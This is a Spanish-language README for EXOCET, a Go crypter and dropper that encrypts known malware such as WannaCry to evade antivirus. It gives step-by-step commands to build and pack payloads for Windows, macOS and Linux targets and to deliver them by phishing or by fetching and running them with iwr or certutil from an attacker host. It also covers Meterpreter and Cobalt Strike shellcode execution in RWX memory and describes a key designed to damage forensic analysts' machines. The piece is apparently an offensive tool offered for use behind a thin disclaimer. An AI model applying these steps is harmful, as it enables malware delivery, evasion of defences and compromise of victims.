
EXOCET - herramienta de entrega de payloads que evade AV y es indetectable
Chang Tan
AWS Certified Cloud Practitioner and Solutions Architect Associate
[email protected]
Asegúrate de empaquetar tus payloads para evitar cualquier fuga de la clave del crypter y frustrar aún más a los analistas de malware. NO se requiere un empaquetador comercial de primera línea como Themida. Esto levantaría más sospechas sin algo como un certificado de firma de código. Sin un certificado de firma de código, en sistemas Windows, SmartScreen se activa automáticamente. Esta es la regla para todos los programas potencialmente no deseados o "PUPs", lo que significa que todos los payloads de malware, beacons, geacons, troyanos de acceso remoto, etc., requieren un certificado de firma de código. Tu dinero está mejor invertido en comprar un certificado de firma de código que en algún empaquetador de primera línea.
go run exocet.go malware.exe outputmalware.go
env GOOS=windows GOARCH=amd64 build -ldflags "-s -w" outputmalware.go
upx --best outputmalware.exe
Luego, entrega el payload a tu objetivo. Usando algo como un correo de phishing, un enlace, o si ya tienes acceso de shell, entrégalo usando algo como alojar tu propio servidor localmente
python -m http.server 80'
y luego en la máquina que estás comprometiendo, ejecuta como un símbolo del sistema de PowerShell
iwr -Uri "http://yourip/outputmalware.exe" -OutFile "NotMalware.exe"
o
certutil.exe -urlcache -split -f http://yourip/outputmalware.exe
y luego ejecuta con outputmalware.exe
EXOCET es superior a los módulos "Evasive Payloads" de Metasploit ya que EXOCET utiliza AES-256 en modo GCM (Galois/Counter Mode). Los Payloads de Evasión de Metasploit utilizan un cifrado RC4 fácil de detectar. Mientras que RC4 puede descifrar más rápido, AES-256 es mucho más difícil de determinar la intención del malware.

Sin embargo, es posible usar Metasploit para construir un Payload Evasivo, y luego encadenarlo con EXOCET. Así que EXOCET descifrará mediante AES-256, y luego el Payload Evasivo de Metasploit se descifrará a sí mismo desde RC4.
Muy similar a mi proyecto anterior, DarkLordObama, este conjunto de herramientas está diseñado para ser un vehículo de entrega/lanzamiento, como lo hace Veil-Evasion.
Sin embargo, EXOCET no está limitado a una sola base de código o plataformas que ejecuten Python. EXOCET funciona en TODAS las plataformas y arquitecturas compatibles que Go soporta.
EXOCET, es efectivamente un dropper de malware tipo crypter que puede reciclar payloads fácilmente detectables como WannaCry, cifrarlos usando AES-GCM (Modo Galois/Contador), que es más seguro que AES-CBC, y luego crear un archivo dropper para la mayoría de las arquitecturas y plataformas existentes.
Básicamente...
Eso significa arquitecturas de 32 bits y 64 bits, y funciona en Linux, Windows, Macs, Unix, Android, iPhone, etc. Tomas cualquier cosa, y quiero decir CUALQUIER COSA, como el Gusano Morris de 1988 que casi colapsó Internet (que explotó una falla en el demonio de escucha fingerd en UNIX), y la conviertes en un arma cibernética viable nuevamente.
EXOCET está escrito completamente en Go.
EXOCET, independientemente de qué binario uses para ejecutarlo, requiere Golang para funcionar. Por defecto, genera un archivo .go de crypter.
sudo apt-get update && sudo apt-get install -y golanggo get github.com/tanc7/EXOCET-AV-Evasiongo run EXOCET.go detectablemalware.exe outputmalware.go
Se genera automáticamente una clave para ti. La clave tiene 64 caracteres de longitud y está compuesta completamente por redireccionadores de tubería de shell de bash y cmd.exe para confundir e interrumpir los intentos de fuerza bruta contra la clave, causando un comportamiento impredecible y destructivo en el dispositivo del analista forense.
Para objetivos Windows de 64 bits...
env GOOS=windows GOARCH=amd64 go build -ldflags "-s -w" -o outputMalware.exe outputmalware.go
Y sale un archivo outputmalware.exe file
Para objetivos macOS de 64 bits
env GOOS=darwin GOARCH=amd64 go build -ldflags "-s -w" -o outputMalware.macho outputmalware.go
Para objetivos Linux de 64 bits
env GOOS=linux GOARCH=amd64 go build -ldflags "-s -w" -o outputMalware.elf outputmalware.go
Consulta esta referencia en github para tus parámetros para otros sistemas operativos como Android Referencia para Compilación Cruzada de Go
Ten en cuenta que la clave aún se puede encontrar con el comando strings, por favor usa el comando upx-ucl para empaquetar el binario y ocultar la clave.
Además, hay binarios preconstruidos que he hecho, lo que significa que solo tienes que ejecutar ./EXOCET o EXOCET-Windows.exe
Yo, Chang Tan, y los creadores del módulo principal y submódulos de Exocet y los paquetes que incorpora NO somos responsables del mal uso de esta herramienta. Esto es meramente una herramienta de pruebas de penetración. Tienes estrictamente prohibido implementar binarios de salida de Exocet contra sistemas protegidos no autorizados o sistemas gubernamentales protegidos no autorizados.
Soy consciente de que actores de amenazas de APT41 y el Grupo NSO han utilizado y/o adoptado código de esta herramienta, particularmente el método go-memexec. Si fuera abordado por Investigadores Federales con respecto al mal uso de esta herramienta, no reclamo responsabilidad.
Esto es lo mismo que les sucedió a los desarrolladores de Mimikatz y PowerShell Empire (quienes deprecaron su propio desarrollo al darse cuenta de su uso entre actores de amenazas). Los sucesores han retomado el desarrollo de Empire, y existen alternativas gratuitas como Covenant C2.
El 4 de mayo de 1982, durante la Guerra de las Malvinas, un escuadrón de Super Etendards argentinos lanzó un misil Exocet de fabricación francesa contra el HMS Sheffield. A pesar de los intentos de la Marina Real de detener el misil, uno impactó, hundiendo el Sheffield. Ese incidente literalmente puso a Argentina en el mapa como una muestra de fuerza contra un poder colonial global.
Artículo de noticias sobre el hundimiento del HMS Sheffield
Muy similar a cómo las acciones de Onel de Guzman con el virus ILOVEYOU pusieron a Filipinas en el mapa como una amenaza cibernética.
.png)
Así que este mes, y el próximo mes, van a ser meses ocupados para mí, y habrá retrasos en la implementación de estos métodos. Pero estoy emocionado por comenzar a implementar nuevas técnicas de evasión de antivirus como...
Soy un hombre muy ocupado, tengo las siguientes prioridades y me gustaría solicitar algo de ayuda, algunas solicitudes de extracción para ayudar en el proyecto. Ya que tengo las siguientes cosas que hacer
Necesito un poco de ayuda, porque implementé con éxito CGO para ejecutar shellcode cifrado pero está lanzando violaciones de acceso a memoria con estado de salida 0xc0000005. No debería ser nada relacionado con DEP (Prevención de Ejecución de Datos) porque el archivo CGOTest/working-template-shellcode-executor.go sí se ejecutó.
Problema Descubierto
Resulta que VirtualAlloc debe ser llamado desde kernel32.dll y ntdll.dll para hacer que la página de memoria donde aterriza el shellcode sea legible, escribible y ejecutable, en otras palabras, activar PAGE_EXECUTE_READWRITE. Lee la Nota sobre el Problema de Violación de Acceso a Memoria a continuación.

Una vez que resuelva esto, CGO fue un dolor de cabeza de implementar, ahora podemos crear crypters que ejecuten ENSAMBLADOR EN LÍNEA. Lo cual se consideraba una imposibilidad hasta ahora.
Ten en cuenta que esto requiere que Golang y la cadena de herramientas MinGW estén instalados en Windows, ejecutando y generando el shellcode en Windows. La razón es porque CGO no puede ser compilado de forma cruzada como nuestros otros módulos de EXOCET. Para instalar la cadena de herramientas, debes ir a https://www.msys2.org/ y seguir la guía. Luego debes agregar gcc a tus variables de entorno en Windows

Paso 1: Genera shellcode, esto podría ser de payloads Meterpreter de msfvenom, Beacons de Cobalt Strike, o tu propio shellcode personalizado en formato compatible con C

Paso 2: Copia solo los bytes del shellcode, excluyendo las comillas, en un archivo de texto como sc.txt

Paso 3: Tu archivo de shellcode debería verse así. Shellcode en bruto

Step 4: Now run the command go run exocet-shellcode-exec.go sc.txt shellcodetest.go KEY
Paso 5: Puedes intentar ejecutarlo, pero te encontrarás con errores de violación de acceso a memoria por alguna razón, en lo que aún estoy trabajando
Aparentemente, además de las principales limitaciones de CGO que prohíben o frustran drásticamente la compilación cruzada, el problema es que el shellcode que queremos ejecutar está aterrizando en una sección de memoria (analizada en WinDBG x64) que no es RWX. En otras palabras, a menos que escribamos código C que permita explícitamente la ejecución en memoria del shellcode, siempre lanzará errores de violación de acceso.
El otro método, que observé de otros desarrolladores de módulos Go rudimentarios https://gist.github.com/mgeeky/bb0fd5652b234fbd1c7630d7e5c8542d, es que usan la API de Windows de Go para interactuar con ntdll.dll y kernel32.dll para llamar a VirtualAlloc y especificar áreas de páginas de memoria RWX. Este método funciona mejor, pero parece que el shellcode debe estar en formato transformado-numéricamente solo para que funcione.
Todavía estoy trabajando en esto, chicos. Puede que combine múltiples lenguajes de programación para escribir un módulo de ejecución de shellcode adecuado
Desafortunadamente, estoy encontrando errores al hacer un binario precompilado para MacBooks con los nuevos CPUs M1. Puede ser un problema con mi instalación de Golang
┌──(root💀kali)-[/opt/EXOCET-AV-Evasion]
└─# GOOS=darwin GOARCH=arm64 go build exocet.go
# command-line-arguments
/usr/lib/go-1.15/pkg/tool/linux_amd64/link: running gcc failed: exit status 1
/tmp/go-link-477718799/go.o: file not recognized: file format not recognized
collect2: error: ld returned 1 exit status
De cualquier manera, aún necesitas Golang para compilar o compilar de forma cruzada el malware a la plataforma que estás atacando.